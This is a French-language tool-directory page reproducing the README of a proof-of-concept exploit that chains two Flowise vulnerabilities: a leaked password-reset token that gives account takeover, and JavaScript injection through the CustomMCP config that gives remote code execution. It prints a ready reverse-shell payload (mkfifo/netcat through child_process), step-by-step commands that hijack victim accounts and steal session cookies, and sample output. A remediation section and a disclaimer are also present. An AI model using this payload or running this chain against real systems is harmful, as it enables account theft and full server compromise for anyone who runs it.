Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-58434-AND-59528-POC — Modular PoC pour CVE-2025-58434 (prise de contrôle de compte) et CVE-2025-59528 (RCE) dans Flowise. Automatise la chaîne d'attaque complète, de la fuite de jeton non authentifiée à l'exécution de code à distance via un reverse shell ou une commande personnalisée. | Kitploit
Outils/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Modular PoC pour CVE-2025-58434 (prise de contrôle de compte) et CVE-2025-59528 (RCE) dans Flowise. Automatise la chaîne d'attaque complète, de la fuite de jeton non authentifiée à l'exécution de code à distance via un reverse shell ou une commande personnalisée.

Voir le dépôt
192il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC double CVE Flowise — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Uniquement à des fins éducatives et de recherche en sécurité autorisée.
Exécuter cet outil contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal.


Table des matières

  • Aperçu
  • Détails des vulnérabilités
    • CVE-2025-58434 — Prise de contrôle de compte
    • CVE-2025-59528 — Exécution de code à distance
  • Chaîne d'attaque complète
  • Versions concernées
Structure du dépôt
  • Prérequis
  • Installation
  • Utilisation
    • Comportement par défaut
    • Écran d'aide
    • Mode chaîne
    • Module — ATO
    • Module — Connexion
    • Module — RCE
  • Référence des options
  • Reverse Shell vs commande personnalisée
  • Exemple de sortie
  • Remédiation
  • Chronologie de divulgation
  • Références
  • Avertissement

  • Aperçu

    Ce dépôt combine deux vulnérabilités critiques de Flowise dans un outil PoC modulaire unique.

    CVE-2025-58434CVE-2025-59528
    TypePrise de contrôle de compteExécution de code à distance
    Authentification requiseAucuneOui (n'importe quel compte valide)
    CVSS9.8 CritiqueCritique
    ConcernéCloud + auto-hébergéAuto-hébergé

    Les deux vulnérabilités s'enchaînent naturellement : CVE-2025-58434 permet une prise de contrôle de compte sans authentification, ce qui satisfait l'exigence d'authentification de CVE-2025-59528 — permettant une RCE sans authentification en une seule exécution automatisée.


    Détails des vulnérabilités

    CVE-2025-58434 — Prise de contrôle de compte

    Cause racine : Le point de terminaison forgot-password renvoie le jeton de réinitialisation de mot de passe (tempToken) directement dans le corps de la réponse HTTP au lieu de l'envoyer uniquement par e-mail.

    Étapes de l'attaque :

    1. POST /api/v1/account/forgot-password avec n'importe quel e-mail enregistré
    2. Lire tempToken dans la réponse JSON — aucun accès à l'e-mail nécessaire
    3. POST /api/v1/account/reset-password avec le jeton divulgué → définir un nouveau mot de passe
    4. Se connecter en tant que victime

    Réponse divulguée (tronquée) :

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 — Exécution de code à distance

    Cause racine : Le nœud CustomMCP transmet mcpServerConfig fourni par l'utilisateur directement au constructeur Function() de JavaScript sans aucune désinfection. Comme Flowise s'exécute dans Node.js, le code injecté a un accès complet à child_process, fs et à tous les modules intégrés de Node.js.

    Chemin de code vulnérable :

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← unsanitized user input
    

    En-têtes requis :

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    Charge utile d'injection par défaut (reverse shell) :

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    Remarque : Les charges utiles reverse shell utilisent cp.exec() (asynchrone / fire-and-forget) afin que la requête HTTP revienne immédiatement et que l'outil n'expire pas. Les commandes normales utilisent cp.execSync() et renvoient la sortie directement.


    Chaîne d'attaque complète

    root@kitploit:~
    Attacker                              Flowise API
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← token leaked in response
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken cleared)          │  ← ATO complete
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() fires in background]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       Attacker's nc listener ←─────────────── Server connects back
       ✓  Full RCE from zero credentials
    

    Versions concernées

    ComposantStatut
    Flowise Cloud (cloud.flowiseai.com)Affecté par CVE-2025-58434
    Flowise auto-hébergé (toutes les versions antérieures au correctif)Affecté par les deux CVE

    Consultez les avis de sécurité officiels de Flowise pour connaître les numéros de version corrigés.


    Structure du dépôt

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # Main PoC — all modules + chain mode
    ├── requirements.txt    # Python dependencies
    ├── README.md           # This file
    └── DISCLAIMER.md       # Full legal notice
    

    Prérequis

    • Python 3.7+
    • Bibliothèque requests

    Installation

    root@kitploit:~
    git clone https://github.com/yourhandle/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    Utilisation

    Comportement par défaut

    Aucune option de mode n'est requise. Si vous exécutez le script sans --chain ni --module, il se lance automatiquement en mode chaîne complète. La charge utile RCE par défaut est un reverse shell — fournissez simplement --lhost et --lport.

    root@kitploit:~
    # Minimal invocation — full chain + reverse shell
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    Démarrez votre listener avant d'exécuter :

    root@kitploit:~
    nc -lvnp 4444
    

    Écran d'aide

    root@kitploit:~
    python3 flowise_poc.py -h
    

    Mode chaîne

    Exécute les quatre étapes de bout en bout : fuite du jeton → réinitialisation du mot de passe → connexion → RCE.

    root@kitploit:~
    # Reverse shell (default payload)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # Custom command instead of reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # Custom ATO password + reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    Module — ATO

    Récupère le tempToken et réinitialise le mot de passe du compte. S'arrête avant la connexion/RCE.

    root@kitploit:~
    # Default new password
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # Custom new password
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # Print raw JSON response
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    Module — Connexion

    Authentifiez-vous et extrayez les trois cookies de session pour une utilisation manuelle.

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # JSON output for scripting
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    Module — RCE

    Exécution sur le serveur. Le module se connecte automatiquement si --token n'est pas fourni.

    root@kitploit:~
    # Reverse shell — auto-login
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # Custom command — auto-login
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # Manual token — reverse shell
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # All three cookies manually
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    Référence des options

    Mode (tous facultatifs — défaut : --chain)

    OptionDescription
    --chainChaîne complète : ATO → Connexion → RCE
    --module atoPrise de contrôle de compte uniquement
    --module loginConnexion et extraction des cookies uniquement
    --module rceRCE uniquement

    Cible

    OptionCourtDescriptionRequis
    --url-uURL de base de l'instance FlowiseToujours
    --email-eE-mail cible / de connexionToujours

    Options ATO

    OptionCourtDescriptionDéfaut
    --new-password-pMot de passe défini sur le compte victime après l'ATOFlowise@Pwn3d2025!

    Options d'authentification

    OptionCourtDescription
    --login-password-PMot de passe pour le module de connexion / connexion automatique RCE
    --token—Fournir manuellement le cookie token (ignore la connexion)
    --refresh-token—Fournir manuellement le cookie refreshToken
    --connect-sid—Fournir manuellement le cookie connect.sid

    Options RCE

    OptionCourtDescriptionDéfaut
    --lhost—IP de l'attaquant pour le reverse shell—
    --lport—Port de l'attaquant pour le reverse shell—
    --command-cCommande OS personnalisée (remplace le reverse shell)id si pas de lhost/lport

    Divers

    OptionCourtDescriptionDéfaut
    --timeout-tDélai d'expiration HTTP (secondes)15
    --json-output-jAfficher les réponses JSON brutesfalse

    Reverse Shell vs commande personnalisée

    Le script choisit automatiquement le mode d'exécution approprié :

    ScénarioCharge utile utiliséeComportement HTTP
    --lhost + --lport (sans -c)one-liner mkfifo netcatcp.exec() — asynchrone, retour immédiat
    -c "..." contenant nc/mkfifo/bash -idétecté comme reverse shellcp.exec() — asynchrone, retour immédiat
    -c "id" ou toute autre commande normalecommande utilisateurcp.execSync() — bloquant, renvoie la sortie
    ni -c, ni --lhostidcp.execSync() — bloquant, renvoie la sortie

    L'exécution asynchrone signifie que la requête HTTP se termine instantanément — aucune erreur de délai d'expiration sur les charges utiles reverse shell.


    Exemple de sortie

    root@kitploit:~
      [Step 1] [CVE-2025-58434] Requesting forgot-password token ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        LEAKED ACCOUNT DATA
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] VULNERABLE — token disclosed without authentication!
    
      [Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] Password reset SUCCESSFUL (tempToken cleared)
      [+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!
    
      [Step 3] [Auth] Logging in to extract session cookies ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        EXTRACTED SESSION COOKIES
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        RCE RESULT
      ────────────────────────────────────────────────────────────────────
      Mode    : Reverse Shell
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] Reverse shell payload fired!
      [!] Waiting for connection on 10.10.16.35:4444 ...
      [!] Make sure your listener is running: nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] CHAIN COMPLETE
    

    Remédiation

    Pour CVE-2025-58434

    • Ne jamais renvoyer de jetons dans les réponses API. Envoyer le tempToken uniquement via l'e-mail enregistré.
    • Renvoyer un message de succès générique que l'e-mail existe ou non (empêche l'énumération).
    • Rendre les jetons à usage unique, à courte durée de vie (≤15 min) et liés au contexte de la requête.
    • Limiter le débit du point de terminaison forgot-password.

    Pour CVE-2025-59528

    • Ne jamais passer d'entrée utilisateur à Function(), eval() ou vm.runInThisContext().
    • Analyser mcpServerConfig uniquement comme données (par ex., JSON.parse()) — ne jamais l'exécuter.
    • Si une évaluation dynamique est requise, utiliser un sandbox isolé avec un contexte restreint.
    • Appliquer une validation stricte des entrées et une liste blanche des clés de configuration autorisées.

    Généralités

    • Corriger les déploiements cloud et auto-hébergés.
    • Activer la journalisation et les alertes sur les points de terminaison de réinitialisation de mot de passe et de node-load-method.
    • Envisager la MFA pour tous les comptes administrateur.

    Chronologie de divulgation

    DateÉvénement
    2025-08-19CVE-2025-58434 découverte et signalée
    TBDCVE-2025-59528 découverte et signalée
    TBDAccusé de réception du fournisseur
    TBDCorrectif publié
    TBDDivulgation publique

    Références

    • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
    • Flowise GitHub
    • CWE-640 : Mécanisme de récupération de mot de passe faible
    • CWE-94 : Contrôle inadéquat de la génération de code

    Avertissement

    Pour uniquement des fins éducatives et des tests d'intrusion autorisés.
    Consultez DISCLAIMER.md pour l'avis juridique complet.

    Télécharger l’outil